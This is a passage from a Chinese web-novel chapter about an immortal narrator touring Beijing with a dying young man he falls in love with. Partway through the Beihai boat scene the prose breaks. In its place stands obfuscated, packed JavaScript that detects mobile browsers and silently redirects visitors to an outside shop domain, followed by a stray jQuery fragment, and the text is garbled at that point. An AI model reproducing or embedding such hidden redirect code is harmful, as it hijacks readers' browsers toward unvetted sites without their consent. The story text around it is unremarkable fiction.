他转身继续往前走，我跟着他。月光把我们的影子拉得很长，投在石板路上，一前一后，像两条平行的线。风吹过来，带着水的气味和远处人家做饭的烟火气。
回到住处的时候已经快十点了。程昇洗完澡出来，头发湿漉漉地贴在额前。他坐在沙发上，拿着遥控器随便按了几个台，最后停在一个放着老电影的频道。
我愣愣看了他会儿，赶在他发现前进了浴室。
等我出来的时候，他已经在沙发上睡着了。遥控器歪在手边，电视里还在放着什么老片，声音开得很小，像隔了一层水。
我站在原地看了他几秒。他睡着了的样子比醒着更放松，眉头舒展，唇角微微向下，呼吸又轻又慢。
我又看了一眼。然后走过去，把电视关掉，从卧室里拿了条薄毯盖在他身上。他没有醒，只是把脸往毯子里缩了缩。
我站在沙发旁边，看着他蜷在毯子里的轮廓，脑子里忽然冒出一个念头——这个人在北京的每一个地方都是第一次来。第一次走那些胡同，第一次看那些老槐树，第一次听见鸽哨从头顶经过。而我每一次都是重来，重走一条走了几百次的路。
但说来奇怪，跟他一起走的这一天，我好像也是第一次走。
我在另一头坐下，靠着沙发扶手，看着窗外胡同里漏进来的零星灯光。北京从来没有这么安静过，或者说，我从来没有这么安静地看过北京。我以为自己对睡眠有绝对把控，却在不知不觉中睡着了。
第二天老魏带我们去了一片荒废的老院子。围墙倒了一半，露出里面残破的屋脊和长满荒草的院子。但还剩几间房没动，门楣上还留着模糊的刻字，依稀能辨认出"××居"的字样。
老魏推门进去，站在院子里环顾了一圈。“我小时候就住这儿，”他说，语气难得不那么大大咧咧，有了一种唏嘘，“那时候这院里住了六户人家，夏天大家都在院子里吃饭，谁家做了好吃的，满院子香。”
程昇站在他旁边，没有出声。他安静地看那些破旧的窗棂、剥落的墙皮、角落里一口盖着石板的水井。他看了很久。
老魏转过身来拍他的肩膀。
“小伙子，看什么呢？”
“我在想，”程昇说，“住在这里的人，后来都去哪儿了。”
老魏沉默了一下，然后咧嘴笑了，拍了拍手。“走了，都走了。有的搬去了郊区，有的住进了楼房，有的去了别的城市。反正北京就这么回事，旧的不去新的不来嘛。”
他说得轻松，但我注意到他说完这句话之后，又回头看了一眼那间破败的正房，目光在里面多停了一拍。
那天老魏带我们转了大半天，下午的时候接了个电话，说了几句就挂了。他收起手机，看了看我和程昇，又看了看我们之间隔着的两步距离，忽然咧嘴笑了一下。
“得，我有点事，先走了。”他说。
“今晚不用一起吃？”程昇问。
“不了，”老魏摆摆手，转身往外走，走了两步又回头看我，“江拾，回头有事给我打电话啊。你那个……手续的事儿，我帮你问了，明后天能搞定。”
他冲我挤了一下眼，然后大步流星地溜了。背影消失在胡同拐角的时候，我才反应过来他说的“手续”是啥——护照、签证那些事，他肯定知道我打算带程昇去更多地方，提前把路铺好了。
程昇看着老魏消失的方向，转头问我：“他是不是有什么事瞒着我们？”
“可能吧。”
“我感觉他今天下午一直在找借口走。”
我没接话，我能怎么说——他不想当电灯泡？程昇看了我一眼，又看了看老魏消失的方向，若有所思（我不知道他在思些什么）地点了下头，没再问了。
我们继续在胡同里走。太阳西斜了，光线变得又长又软，把灰墙的影子拉得很长。程昇的步伐比昨天慢了一些，但依然在走。路过一棵柿子树的时候他停住了，仰头看着树梢。树上挂着七八个红透了的柿子，在光秃秃的枝丫上像一个个小灯笼。
“柿子熟了。"”他说。
“你吃过？”
“以前在院子里种过一棵，”他说，“每年秋天熟了，我奶奶就用长竹竿够下来，放在窗台上晾着。她说柿子要等到软了再吃，硬的涩。我那时候天天去摸，一摸就问她'软了没有'，她每次都笑。”
他停了一下。“后来那棵树没人管，也就枯了。”
他站在柿子树下，仰着头看那些红透的果实，秋天的阳光穿过稀疏的枝丫落在他的脸上，把他的表情照得很清楚，带着一点点回忆的暖意，没有太多悲伤。
“你想吃吗？”我问。
他转头看我。“这棵树又不是我家的。”
“我去问问。”
我问了旁边院门口坐着的一位大爷，大爷说那树是他家的，想吃尽管摘。我找了个长竹竿，照着程昇说的姿势，把最红的那一颗够下来，稳稳地接在手里。柿子温温的，软软的，皮薄得透光。
我递给程昇。他接过去看了两秒，然后用手掰开，露出里面橙红色的果肉，像凝固的蜜。
“你吃一半。”他递过来一半。
我接过来咬了一口，很甜。程昇也咬了一口，他嚼得很慢，咽下去的时候喉结轻轻滚了一下。
"很好吃。"他说。
我捏着手里剩下的一半柿子，汁水顺着指缝渗下来，黏黏的。秋天的风从胡同口灌进来，把柿子树剩下的叶子吹得哗哗响。
“江拾，”他忽然开口，“等我死了，你帮我个忙。”
我手一紧，柿子汁挤出来，滴在地上。
“说啥，日子不还早嘛。”我说。
“不是早不早的问题，”他语气很平，“以后你帮我找个地方，种一棵柿子树。就一棵树就行。以后有人路过，看见了就摘一颗尝尝。”
我看着他。他也在看我，目光平静而坦荡。
我没说好，也没说不好。我只是把手里剩下的那半柿子吃完，把柿子核攥在手心里，没有扔。
“走吧，”我说，“风大了。”
他点了点头，转身继续往前走。我跟在他身后，手心里的柿子核硌着掌心的软肉，微微发疼。
北京秋天的风确实大。吹得人衣角翻飞，满城的叶子一片接一片地往下掉，落在灰色的砖缝里，落在石板路上，落在那棵柿子树的根部。
程昇走在前面，深蓝色的外套被风吹得鼓起来，又塌下去。背影在暮色里越来越模糊，但他头顶的数字异常清晰。
我攥紧了拳头。柿子核还在。
我把它放进了口袋里。
晚上回到住处，程昇又在沙发上睡着了。这次我拿毯子盖他的时候他醒了，迷迷糊糊地睁开一条缝看了我一眼。
“江拾……”
“嗯。”
“明天去哪儿？”
“不知道。你想去哪儿？”
他想了一会儿，含含糊糊地说：“我想看树...”
然后又睡着了。
我坐在旁边，拿出手机，打开地图软件，把北京树多的地方一个一个地标出来。标了十几个，又删了十几个。最后留下了一个。
北海。我小时候去过的那个地方。
这个季节的北海没多好看，我记得那里的白塔，记得那里的柳树，记得很多年前一个小孩子坐在湖边哭，有个过路人蹲下来问他怎么了，那个过路人是我。
我想带程昇去看看。
不为别的。就因为他喜欢树。
我们到北海的时候是下午两点多。太阳在湖面上碎成一片一片，晃得人睁不开眼。程昇站在湖边看了很久白塔。
”以前在照片上见过，想如果能来一趟就好了。”程昇把双手托在石栏上
“那你这算心想事成了。”
“对啊。”
——
我去买票，要了一条手划船。程昇站在岸边没动，说自己不会划。我说我行。他没再说什么，跟着上了船。船身晃了一下，他扶住船舷坐到船尾，靠好挡板，把腿伸直了搭在船底。
坐在船头划桨。船慢慢离岸，往湖心去。岸上的人声远了，只剩水声哗啦哗啦碎在船底，还有远处白塔底下隐约的笛声。程昇把手伸进水里，指尖擦过湖面，带起一串水珠。
船到湖心，我把桨收起来搁在船舷上，任它自己漂着。船慢悠悠转了个圈，停下来，在水面上轻轻晃。程昇坐起来了一点，两条腿盘着，靠在挡板上。
船上莫名沉默。我觉得自己有必要打破这样的氛围，深吸了口气，扯着嗓子喊道。“让我们荡起双桨，小船儿推开波浪……”
唱着唱着，好像听见程昇的声音，于是我停了下来。
声音不大，很平，像在自言自语。“海面倒映着美丽的白塔，四周环绕着绿树红墙……”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680906|207687||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>湖面上很安静。白塔在远处听着，柳树在岸上听着。程昇唱到“小船儿轻轻飘荡在水中”的时候声音慢慢低了，最后一句“迎面吹来了凉爽的风”断在风里，没了尾音。
他低下头，下巴抵着膝盖，没声音了。但肩膀在动。一下，两下。他在哭。
我的桨滑了一下砸在船底板上。船晃了晃，水从两侧涌上来打湿袖口。“程昇。”我叫他。他没抬头。
我活了三百多年，见过太多人哭。歇斯底里的，默默流泪的，跪下来求我的。每次我都能处理。该开药开药，该闭嘴闭嘴。但这次我脑子里一片空白。
“你没事吧。”说完觉得自己像个傻子。
船还在晃。我挪了挪位置，探过身，把手搭在他后脑勺上。他的头发很软，带着太阳晒过的暖意。他慢慢抬起头，脸上挂着泪，眼眶鼻尖全是红的。他看着我，没躲。
“你哭什么。”我问。
他沉默了一会儿，开口的声音有点哑。“不清楚。”
风从湖面上过来，掀了他额前的头发。
“虽然我第一次来这儿，”他说，“却总觉得一直在告别。”
他用手背擦了擦眼睛。“还有，”声音更轻了，“我可能也没多少时间了。三年也挺短的。反正都接受了。”
我攥着桨的手指节发白。一拳砸在船舷上，水花溅起来全拍在我脸上。他抬起头，眼泪还挂着，表情从难过变成困惑。“你干什么？”
“没事，”我抹了一把脸，“船漏水。”
他看了我一眼，又看了船底。“……江拾，船没漏水。”
“我说漏了就漏了。”
他看着我湿漉漉的脸，看了好一会儿，嘴角动了一下。很小，但我看见了。“你脸上都是水。”
“我故意的。你哭我就哭，公平。”
他愣住了，笑出声的时候眼泪还没干。“你一点也不会安慰人。”
“你哭之前又没跟我商量。”
他又笑了一下，把脸上的泪痕胡乱擦了两把。“好了，谢谢。”
“不用”
他吸了吸鼻子，“再哭显就得我太脆弱了。”
“脆弱就脆弱。”我说，“你在我面前没必要装坚强。”
他看了我一会儿，目光认真得让我想躲开。
“江拾。”
“嗯。”
“你为什么对我这么好？”
这个问题他问过，在酒吧喝醉的时候。那会儿他迷迷糊糊的。现在他清醒，安静的等我回答。
“我做事从不问原因”我说。
他低下头，手指在船板上划了两下，声音很轻地说了一句什么。风把那几个字送到我耳朵里，断断续续的。
他说：“那真的很谢谢你。”
我坐在船头，看着他低垂的睫毛，阳光在他发梢上跳。
三百二十七年。我从来没敢给过自己这个答案。
我恋爱了。
而且是不道德的医患恋（好像还是同性恋来着）。
程昇抬起头，眼睛还是红的，但表情恢复了那种惯常的平静。“江拾，我们接下来去哪儿？”
“你想去哪儿？”
他想了想。“不知道。但不管去哪儿，你都会在吧？”
我看着他。
“在，”我说，“我一直在。”
他点了一下头，靠回挡板上仰头看天。光从他脸上滑过去，他眯了眯眼，影子落在颧骨上，一小片。
我重新拿起桨划了一下，船身慢慢转过来往岸边去。白塔越来越远，倒影被桨搅碎又聚拢。程昇把手又伸进水里，手指慢慢划着，划过他自己的倒影。
“江拾，北京的秋天真的很好看。”
“嗯。”
“我以后都会记得的。”
我没说话。桨一下一下划着，水声绵绵不绝。太阳还挂着，暖得像一层薄毯覆下来。他坐在船尾，手指在水面上划出一道又一道涟漪，每一道都很轻。
我看着他。
我能给他的只有这么多。
我希望让他每一刻都记住。
永生者手册：
6.永生者社群默认三大禁忌：不得向凡人暴露身份，不得告知凡人寿命，不得强行改变凡人的人生轨迹。虽无明文规定，但所有打破禁忌的永生者，最终都承受了因果带来的漫长反噬。
程昇剩余寿命：89天